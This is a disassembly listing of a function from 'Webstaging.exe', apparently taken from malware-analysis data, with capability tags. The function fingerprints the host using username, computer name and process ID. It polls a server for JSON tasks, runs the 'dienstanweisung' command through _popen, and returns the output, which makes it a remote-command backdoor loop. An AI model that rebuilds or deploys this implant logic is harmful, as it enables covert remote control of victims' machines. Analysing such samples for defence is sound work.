Function at 0x140008e50
Capabilities:
Hash data using sha1
Query environment variable

Disassembly:
push rbp
push rbx
push rdi
push r12
push r15
lea rbp, [rsp - 0x1760]
mov eax, 0x1860
call fcn.14000a830
sub rsp, rax
xor r12d, r12d
lea rcx, str.USERNAME
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], r12
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
lea rcx, str.COMPUTERNAME
mov rdi, rax
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edx, eax
lea rcx, [0x14000b530]
mov r15d, eax
call fcn.140006bf0
lea rdx, [rbp + 0x340]
mov rcx, rbx
call fcn.140008890
lea rdx, [rbp + 0x340]
lea rcx, str.Encoded:__s_n
call fcn.140006bf0
lea rdx, [rbp + 0xb40]
lea rcx, [rbp + 0x340]
call fcn.140008a10
lea rdx, [rbp + 0xb40]
lea rcx, str.Decoded:__s_n
call fcn.140006bf0
lea rdx, [rbp + 0x740]
mov rcx, rdi
call fcn.140008890
lea rdx, [rbp + 0x740]
lea rcx, str.Encoded:__s_n
call fcn.140006bf0
lea rdx, [rbp + 0xb40]
lea rcx, [rbp + 0x740]
call fcn.140008a10
lea rdx, [rbp + 0xb40]
lea rcx, str.Decoded:__s_n
call fcn.140006bf0
lea r9, [rbp + 0x340]
mov dword [rsp + 0x20], r15d
lea r8, [rbp + 0x740]
lea rdx, str._s_s_lu
lea rcx, [rbp + 0x1790]
call fcn.140001020
lea rdx, [rbp + 0x1790]
lea rcx, str.Combined_String:__s_n
call fcn.140006bf0
lea rcx, [rbp + 0x1790]
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], r12b
jne 0x140008f90
mov qword [rsp + 0x1858], rsi
mov edx, r12d
mov dword [rsp + 0x78], edx
mov ecx, r12d
mov dword [rsp + 0x74], ecx
mov qword [rsp + 0x1848], r14
mov dword [rsp + 0x60], 0x67452301
mov dword [rsp + 0x64], 0xefcdab89
mov dword [rsp + 0x68], 0x98badcfe
mov dword [rsp + 0x6c], 0x10325476
mov dword [rsp + 0x70], 0xc3d2e1f0
test eax, eax
je 0x1400090a5
lea rsi, [rbp + 0x1790]
mov r14d, eax
lea eax, [rcx + 8]
mov dword [rsp + 0x74], eax
cmp eax, ecx
jae 0x140009002
inc edx
mov dword [rsp + 0x78], edx
shr ecx, 3
and ecx, 0x3f
lea eax, [rcx + 1]
cmp eax, 0x3f
jbe 0x14000906f
mov eax, ecx
mov ebx, 0x40
sub ebx, ecx
mov rdx, rsi
lea rcx, [rsp + 0x7c]
mov r8d, ebx
add rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [rsp + 0x7c]
lea rcx, [rsp + 0x60]
call fcn.140006c50
lea edi, [rbx + 0x3f]
cmp edi, 1
jae 0x14000906a
nop dword [rax]
nop word [rax + rax]
mov edx, ebx
lea rcx, [rsp + 0x60]
add rdx, rsi
call fcn.140006c50
add ebx, 0x40
add edi, 0x40
cmp edi, 1
jb 0x140009050
mov ecx, r12d
jmp 0x140009072
mov ebx, r12d
mov eax, ecx
mov r8d, 1
lea rcx, [rsp + 0x7c]
mov edx, ebx
add rcx, rax
sub r8d, ebx
add rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
inc rsi
sub r14, 1
je 0x1400090a5
mov edx, dword [rsp + 0x78]
mov ecx, dword [rsp + 0x74]
jmp 0x140008ff1
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x20]
call fcn.140008570
mov rbx, r12
lea rdi, [rbp - 8]
nop word [rax + rax]
movzx r8d, byte [rbp + rbx - 0x20]
lea rdx, str._02x
mov rcx, rdi
call fcn.140001020
inc rbx
add rdi, 2
cmp rbx, 0x14
jb 0x1400090c0
lea rax, [rbp + 0x340]
mov dword [rsp + 0x28], r15d
lea r9, [rbp + 0x740]
mov qword [rsp + 0x20], rax
lea r8, [rbp - 8]
lea rdx, str._s__s__s__lu
lea rcx, [rbp + 0x17a8]
call fcn.140001020
lea rdx, [rbp + 0x17a8]
lea rcx, str.Combined_Header:__s_n
call fcn.140006bf0
lea rax, [rbp + 0x340]
mov dword [rsp + 0x28], r15d
lea r9, [rbp + 0x740]
mov qword [rsp + 0x20], rax
lea r8, [rbp - 8]
lea rdx, str.X_Requested_With:__s__s__s__lu
lea rcx, [rbp + 0x17a0]
call fcn.140001020
lea rdx, [rbp + 0x17a0]
lea rcx, str.Combined_Header:__s_n
call fcn.140006bf0
lea r8, [rbp + 0x17a0]
lea rdx, str._s_r_nContent_Type:_application_json_r_n_r_n_r_n
lea rcx, [rbp + 0x1798]
call fcn.140001020
lea rdx, [rbp + 0x1798]
lea rcx, str.Combined_Header:__s_n
call fcn.140006bf0
lea rax, [rbp + 0x1798]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r12b
jne 0x1400091a1
inc r8
mov qword [rsp + 0x1850], r13
lea rdx, [rbp + 0x1798]
lea rcx, [rbp + 0x130]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs]
lea rdx, [rbp + 0x130]
lea rcx, str.wtext:__s
call fcn.140006b90
lea rax, [rbp + 0x130]
mov dword [rsp + 0x30], 4
lea rdi, [0x14000b60c]
mov qword [rsp + 0x28], rdi
lea r9, [rsp + 0x48]
lea r8, [rsp + 0x40]
mov qword [rsp + 0x20], rax
call fcn.140008b90
test eax, eax
je 0x140009d15
mov rbx, qword [rsp + 0x40]
lea rcx, str._i__Bytes_:__s__n
mov rdx, rbx
call fcn.140006bf0
mov rdx, qword [rsp + 0x48]
lea rcx, str._i__Size__:__ld__n
call fcn.140006bf0
test rbx, rbx
je 0x14000925e
mov rdx, 0xffffffffffffffff
inc rdx
cmp byte [rbx + rdx], r12b
jne 0x140009244
inc rdx
xor r9d, r9d
xor r8d, r8d
mov rcx, rbx
call sym.Webstaging.exe_cJSON_ParseWithLengthOpts
mov dword [rsp + 0x30], 4
lea rax, [rbp + 0x130]
mov qword [rsp + 0x28], rdi
lea r9, [rsp + 0x48]
lea r8, [rsp + 0x40]
mov qword [rsp + 0x20], rax
call fcn.140008b90
test eax, eax
je 0x140009d15
nop
mov rcx, qword [rsp + 0x40]
test rcx, rcx
jne 0x14000929f
mov rax, r12
jmp 0x1400092bd
mov rdx, 0xffffffffffffffff
inc rdx
cmp byte [rcx + rdx], 0
jne 0x1400092a6
inc rdx
xor r9d, r9d
xor r8d, r8d
call sym.Webstaging.exe_cJSON_ParseWithLengthOpts
mov rbx, qword [rax + 0x10]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x50], rbx
test rbx, rbx
je 0x140009cda
mov rcx, qword [rbx + 0x10]
mov eax, r12d
test rcx, rcx
je 0x1400092e7
cmp byte [rcx + 0x18], 0x10
sete al
test eax, eax
je 0x140009c45
mov r8d, 1
lea rdx, [0x14000b644]
mov rcx, rbx
call fcn.1400035c0
mov r8d, 1
lea rdx, str.dienstanweisung
mov rcx, rbx
mov r14, rax
call fcn.1400035c0
xor edx, edx
mov byte [rbp + 0xf40], 0
mov r8d, 0x3ff
lea rcx, [rbp + 0xf41]
mov r15, rax
call sub.VCRUNTIME140.dll_memset
lea rdx, [0x14000b658]
lea rcx, str.echo__DATE___TIME_
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__popen]
mov rbx, rax
test rax, rax
je 0x140009d41
mov r8, rax
lea rcx, [rsp + 0x60]
mov edx, 0x80
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__pclose]
mov rcx, qword [r15 + 0x20]
lea rdx, [0x14000b658]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__popen]
mov rdi, rax
test rax, rax
je 0x140009d41
mov r8, rax
lea rcx, [rbp + 0x30]
mov edx, 0x80
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
test rax, rax
je 0x1400093f7
nop word [rax + rax]
lea rcx, [rbp + 0xf40]
dec rcx
nop word [rax + rax]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x1400093c0
lea r8, [rbp + 0x30]
xor edx, edx
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x1400093d0
mov r8, rdi
lea rcx, [rbp + 0x30]
mov edx, 0x80
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
test rax, rax
jne 0x1400093b0
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__pclose]
lea rdx, [0x14000b658]
mov r12d, eax
lea rcx, str.echo__DATE___TIME_
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__popen]
mov rbx, rax
test rax, rax
je 0x140009d41
mov r8, rdi
lea rcx, [rbp + 0xb0]
mov edx, 0x80
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__pclose]
lea rdx, [rbp + 0x1340]
lea rcx, [rbp + 0xf40]
call fcn.140008890
mov ecx, 0x40
call qword [0x14000e098]
mov r13, rax
test rax, rax
je 0x140009480
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
mov dword [rax + 0x18], 0x20
mov ecx, 0x40
call qword [0x14000e098]
mov rsi, rax
test rax, rax
je 0x14000957a
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
mov dword [rax + 0x18], 0x40
mov rcx, qword [r14 + 0x20]
call sym.Webstaging.exe_cJSON_CreateString
mov rbx, rax
test rax, rax
je 0x140009583
cmp rsi, rax
je 0x140009583
mov ecx, 3
call qword [0x14000e098]
mov rdi, rax
test rax, rax
je 0x140009590
movzx eax, word [0x14000b644]
mov word [rdi], ax
movzx eax, byte [0x14000b646]
mov byte [rdi + 2], al
mov r14d, dword [rbx + 0x18]
btr r14d, 9
test dword [rbx + 0x18], 0x200
jne 0x14000951a
mov rcx, qword [rbx + 0x38]
test rcx, rcx
je 0x14000951a
call qword [0x14000e0a0]
mov qword [rbx + 0x38], rdi
mov dword [rbx + 0x18], r14d
mov rax, qword [rsi + 0x10]
test rax, rax
jne 0x14000954a
mov qword [rsi + 0x10], rbx
mov qword [rbx + 8], rbx
mov qword [rbx], rax
mov rcx, qword [r15 + 0x20]
call sym.Webstaging.exe_cJSON_CreateString
mov rdi, rax
mov rbx, rax
jmp 0x140009613
mov rax, qword [rax + 8]
test rax, rax
je 0x1400095fb
mov qword [rax], rbx
mov qword [rbx + 8], rax
mov rax, qword [rsi + 0x10]
mov qword [rax + 8], rbx
mov rcx, qword [r15 + 0x20]
call sym.Webstaging.exe_cJSON_CreateString
mov rdi, rax
mov rbx, rax
jmp 0x140009613
mov rcx, qword [r14 + 0x20]
call sym.Webstaging.exe_cJSON_CreateString
mov rbx, rax
test rax, rax
je 0x1400095fb
nop dword [rax + rax]
test dword [rbx + 0x18], 0x100
mov rdi, qword [rbx]
jne 0x1400095ca
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x1400095aa
call sym.Webstaging.exe_cJSON_Delete
test dword [rbx + 0x18], 0x100
jne 0x1400095ca
mov rcx, qword [rbx + 0x20]
test rcx, rcx
je 0x1400095ca
call qword [0x14000e0a0]
mov qword [rbx + 0x20], 0
test dword [rbx + 0x18], 0x200
jne 0x1400095ea
mov rcx, qword [rbx + 0x38]
test rcx, rcx
je 0x1400095ea
call qword [0x14000e0a0]
mov qword [rbx + 0x38], 0
mov rcx, rbx
call qword [0x14000e0a0]
mov rbx, rdi
test rdi, rdi
jne 0x140009590
mov rcx, qword [r15 + 0x20]
call sym.Webstaging.exe_cJSON_CreateString
mov rdi, rax
mov rbx, rax
test rsi, rsi
je 0x1400096c2
test rdi, rdi
je 0x1400096c2
cmp rsi, rdi
je 0x1400096c2
mov ecx, 0x10
call qword [0x14000e098]
mov r14, rax
test rax, rax
je 0x1400096d0
movups xmm0, xmmword [str.dienstanweisung]
movups xmmword [rax], xmm0
mov ebx, dword [rdi + 0x18]
btr ebx, 9
test dword [rdi + 0x18], 0x200
jne 0x140009665
mov rcx, qword [rdi + 0x38]
test rcx, rcx
je 0x140009665
call qword [0x14000e0a0]
mov qword [rdi + 0x38], r14
mov dword [rdi + 0x18], ebx
mov rax, qword [rsi + 0x10]
test rax, rax
jne 0x140009695
mov qword [rsi + 0x10], rdi
lea rcx, [rsp + 0x60]
mov qword [rdi + 8], rdi
mov qword [rdi], rax
call sym.Webstaging.exe_cJSON_CreateString
mov rdi, rax
mov rbx, rax
jmp 0x140009754
mov rax, qword [rax + 8]
test rax, rax
je 0x1400096ad
mov qword [rax], rdi
mov qword [rdi + 8], rax
mov rax, qword [rsi + 0x10]
mov qword [rax + 8], rdi
lea rcx, [rsp + 0x60]
call sym.Webstaging.exe_cJSON_CreateString
mov rdi, rax
mov rbx, rax
jmp 0x140009754
mov rbx, rdi
test rdi, rdi
je 0x14000973b
nop word [rax + rax]
test dword [rbx + 0x18], 0x100
mov rdi, qword [rbx]
jne 0x14000970a
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x1400096ea
call sym.Webstaging.exe_cJSON_Delete
test dword [rbx + 0x18], 0x100
jne 0x14000970a
mov rcx, qword [rbx + 0x20]
test rcx, rcx
je 0x14000970a
call qword [0x14000e0a0]
mov qword [rbx + 0x20], 0
test dword [rbx + 0x18], 0x200
jne 0x14000972a
mov rcx, qword [rbx + 0x38]
test rcx, rcx
je 0x14000972a
call qword [0x14000e0a0]
mov qword [rbx + 0x38], 0
mov rcx, rbx
call qword [0x14000e0a0]
mov rbx, rdi
test rdi, rdi
jne 0x1400096d0
lea rcx, [rsp + 0x60]
call sym.Webstaging.exe_cJSON_CreateString
mov rdi, rax
mov rbx, rax
test rsi, rsi
je 0x140009812
test rdi, rdi
je 0x140009812
cmp rsi, rdi
je 0x140009812
mov ecx, 6
call qword [0x14000e098]
mov r14, rax
test rax, rax
je 0x140009820
mov eax, dword [str.start]
mov dword [r14], eax
movzx eax, word [0x14000b68c]
mov word [r14 + 4], ax
mov ebx, dword [rdi + 0x18]
btr ebx, 9
test dword [rdi + 0x18], 0x200
jne 0x1400097b1
mov rcx, qword [rdi + 0x38]
test rcx, rcx
je 0x1400097b1
call qword [0x14000e0a0]
mov qword [rdi + 0x38], r14
mov dword [rdi + 0x18], ebx
mov rax, qword [rsi + 0x10]
test rax, rax
jne 0x1400097e3
mov qword [rsi + 0x10], rdi
lea rcx, [rbp + 0xb0]
mov qword [rdi + 8], rdi
mov qword [rdi], rax
call sym.Webstaging.exe_cJSON_CreateString
mov rdi, rax
mov rbx, rax
jmp 0x1400098a6
mov rax, qword [rax + 8]
test rax, rax
je 0x1400097fb
mov qword [rax], rdi
mov qword [rdi + 8], rax
mov rax, qword [rsi + 0x10]
mov qword [rax + 8], rdi
lea rcx, [rbp + 0xb0]
call sym.Webstaging.exe_cJSON_CreateString
mov rdi, rax
mov rbx, rax
jmp 0x1400098a6
mov rbx, rdi
test rdi, rdi
je 0x14000988b
nop word [rax + rax]
test dword [rbx + 0x18], 0x100
mov rdi, qword [rbx]
jne 0x14000985a
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x14000983a
call sym.Webstaging.exe_cJSON_Delete
test dword [rbx + 0x18], 0x100
jne 0x14000985a
mov rcx, qword [rbx + 0x20]
test rcx, rcx
je 0x14000985a
call qword [0x14000e0a0]
mov qword [rbx + 0x20], 0
test dword [rbx + 0x18], 0x200
jne 0x14000987a
mov rcx, qword [rbx + 0x38]
test rcx, rcx
je 0x14000987a
call qword [0x14000e0a0]
mov qword [rbx + 0x38], 0
mov rcx, rbx
call qword [0x14000e0a0]
mov rbx, rdi
test rdi, rdi
jne 0x140009820
lea rcx, [rbp + 0xb0]
call sym.Webstaging.exe_cJSON_CreateString
mov rdi, rax
mov rbx, rax
test rsi, rsi
je 0x140009963
test rdi, rdi
je 0x140009963
cmp rsi, rdi
je 0x140009963
mov ecx, 5
call qword [0x14000e098]
mov r14, rax
test rax, rax
je 0x140009970
mov eax, dword [str.ende]
mov dword [r14], eax
movzx eax, byte [0x14000b694]
mov byte [r14 + 4], al
mov ebx, dword [rdi + 0x18]
btr ebx, 9
test dword [rdi + 0x18], 0x200
jne 0x140009902
mov rcx, qword [rdi + 0x38]
test rcx, rcx
je 0x140009902
call qword [0x14000e0a0]
mov qword [rdi + 0x38], r14
mov dword [rdi + 0x18], ebx
mov rax, qword [rsi + 0x10]
test rax, rax
jne 0x140009934
mov qword [rsi + 0x10], rdi
lea rcx, [rbp + 0x1340]
mov qword [rdi + 8], rdi
mov qword [rdi], rax
call sym.Webstaging.exe_cJSON_CreateString
mov rdi, rax
mov rbx, rax
jmp 0x1400099f6
mov rax, qword [rax + 8]
test rax, rax
je 0x14000994c
mov qword [rax], rdi
mov qword [rdi + 8], rax
mov rax, qword [rsi + 0x10]
mov qword [rax + 8], rdi
lea rcx, [rbp + 0x1340]
call sym.Webstaging.exe_cJSON_CreateString
mov rdi, rax
mov rbx, rax
jmp 0x1400099f6
mov rbx, rdi
test rdi, rdi
je 0x1400099db
nop dword [rax + rax]
test dword [rbx + 0x18], 0x100
mov rdi, qword [rbx]
jne 0x1400099aa
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x14000998a
call sym.Webstaging.exe_cJSON_Delete
test dword [rbx + 0x18], 0x100
jne 0x1400099aa
mov rcx, qword [rbx + 0x20]
test rcx, rcx
je 0x1400099aa
call qword [0x14000e0a0]
mov qword [rbx + 0x20], 0
test dword [rbx + 0x18], 0x200
jne 0x1400099ca
mov rcx, qword [rbx + 0x38]
test rcx, rcx
je 0x1400099ca
call qword [0x14000e0a0]
mov qword [rbx + 0x38], 0
mov rcx, rbx
call qword [0x14000e0a0]
mov rbx, rdi
test rdi, rdi
jne 0x140009970
lea rcx, [rbp + 0x1340]
call sym.Webstaging.exe_cJSON_CreateString
mov rdi, rax
mov rbx, rax
test rsi, rsi
je 0x140009aa7
test rdi, rdi
je 0x140009aa7
cmp rsi, rdi
je 0x140009aa7
mov ecx, 9
call qword [0x14000e098]
mov r14, rax
test rax, rax
je 0x140009ab0
movsd xmm0, qword [str.ergebnis]
movsd qword [rax], xmm0
movzx eax, byte [0x14000b6a0]
mov byte [r14 + 8], al
mov ebx, dword [rdi + 0x18]
btr ebx, 9
test dword [rdi + 0x18], 0x200
jne 0x140009a55
mov rcx, qword [rdi + 0x38]
test rcx, rcx
je 0x140009a55
call qword [0x14000e0a0]
mov qword [rdi + 0x38], r14
mov dword [rdi + 0x18], ebx
mov rax, qword [rsi + 0x10]
test rax, rax
jne 0x140009a72
mov qword [rsi + 0x10], rdi
mov qword [rdi + 8], rdi
mov qword [rdi], rax
jmp 0x140009a8a
mov rax, qword [rax + 8]
test rax, rax
je 0x140009a8a
mov qword [rax], rdi
mov qword [rdi + 8], rax
mov rax, qword [rsi + 0x10]
mov qword [rax + 8], rdi
movd xmm2, r12d
lea rdx, str.status
cvtdq2pd xmm2, xmm2
mov rcx, rsi
call sym.Webstaging.exe_cJSON_AddNumberToObject
jmp 0x140009b38
mov rbx, rdi
test rdi, rdi
je 0x140009b1b
nop
test dword [rbx + 0x18], 0x100
mov rdi, qword [rbx]
jne 0x140009aea
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x140009aca
call sym.Webstaging.exe_cJSON_Delete
test dword [rbx + 0x18], 0x100
jne 0x140009aea
mov rcx, qword [rbx + 0x20]
test rcx, rcx
je 0x140009aea
call qword [0x14000e0a0]
mov qword [rbx + 0x20], 0
test dword [rbx + 0x18], 0x200
jne 0x140009b0a
mov rcx, qword [rbx + 0x38]
test rcx, rcx
je 0x140009b0a
call qword [0x14000e0a0]
mov qword [rbx + 0x38], 0
mov rcx, rbx
call qword [0x14000e0a0]
mov rbx, rdi
test rdi, rdi
jne 0x140009ab0
movd xmm2, r12d
lea rdx, str.status
cvtdq2pd xmm2, xmm2
mov rcx, rsi
call sym.Webstaging.exe_cJSON_AddNumberToObject
test rsi, rsi
je 0x140009b75
test r13, r13
je 0x140009b75
cmp r13, rsi
je 0x140009b75
mov rax, qword [r13 + 0x10]
xor r12d, r12d
test rax, rax
jne 0x140009b5b
mov qword [r13 + 0x10], rsi
mov qword [rsi + 8], rsi
mov qword [rsi], r12
jmp 0x140009b78
mov rax, qword [rax + 8]
test rax, rax
je 0x140009b78
mov qword [rax], rsi
mov qword [rsi + 8], rax
mov rax, qword [r13 + 0x10]
mov qword [rax + 8], rsi
jmp 0x140009b78
xor r12d, r12d
mov edx, 1
mov rcx, r13
call fcn.140002210
mov rdx, rax
lea rcx, str.Generated_JSON:__s_n
mov rdi, rax
call fcn.140006bf0
mov rcx, 0xffffffffffffffff
nop
inc rcx
cmp byte [rdi + rcx], 0
jne 0x140009ba0
mov dword [rsp + 0x30], ecx
lea rax, [rbp + 0x130]
mov qword [rsp + 0x28], rdi
lea r9, [rsp + 0x48]
lea r8, [rsp + 0x40]
mov qword [rsp + 0x20], rax
call fcn.140008b90
test rsi, rsi
je 0x140009c35
test dword [rsi + 0x18], 0x100
mov rbx, qword [rsi]
jne 0x140009c08
mov rcx, qword [rsi + 0x10]
test rcx, rcx
je 0x140009bec
call sym.Webstaging.exe_cJSON_Delete
test dword [rsi + 0x18], 0x100
jne 0x140009c08
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x140009c08
call qword [0x14000e0a0]
mov qword [rsi + 0x20], r12
test dword [rsi + 0x18], 0x200
jne 0x140009c24
mov rcx, qword [rsi + 0x38]
test rcx, rcx
je 0x140009c24
call qword [0x14000e0a0]
mov qword [rsi + 0x38], r12
mov rcx, rsi
call qword [0x14000e0a0]
mov rsi, rbx
test rbx, rbx
jne 0x140009bd2
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rbx, qword [rsp + 0x50]
jmp 0x140009c51
lea rcx, str.invalid_
call fcn.140006bf0
mov rbx, qword [rbx]
mov qword [rsp + 0x50], rbx
test rbx, rbx
jne 0x1400092d4
mov rdi, qword [rsp + 0x58]
nop word [rax + rax]
test dword [rdi + 0x18], 0x100
mov rbx, qword [rdi]
jne 0x140009ca6
mov rcx, qword [rdi + 0x10]
test rcx, rcx
je 0x140009c8a
call sym.Webstaging.exe_cJSON_Delete
test dword [rdi + 0x18], 0x100
jne 0x140009ca6
mov rcx, qword [rdi + 0x20]
test rcx, rcx
je 0x140009ca6
call qword [0x14000e0a0]
mov qword [rdi + 0x20], r12
test dword [rdi + 0x18], 0x200
jne 0x140009cc2
mov rcx, qword [rdi + 0x38]
test rcx, rcx
je 0x140009cc2
call qword [0x14000e0a0]
mov qword [rdi + 0x38], r12
mov rcx, rdi
call qword [0x14000e0a0]
mov rdi, rbx
test rbx, rbx
jne 0x140009c70
lea rdi, [0x14000b60c]
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0x130]
mov dword [rsp + 0x30], 4
mov qword [rsp + 0x28], rdi
lea r9, [rsp + 0x48]
lea r8, [rsp + 0x40]
mov qword [rsp + 0x20], rax
call fcn.140008b90
test eax, eax
jne 0x140009290
mov eax, 0xffffffff
mov r14, qword [rsp + 0x1848]
mov r13, qword [rsp + 0x1850]
mov rsi, qword [rsp + 0x1858]
add rsp, 0x1860
pop r15
pop r12
pop rdi
pop rbx
pop rbp
ret
lea rcx, str.popen_failed
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
mov eax, 1
jmp 0x140009d1a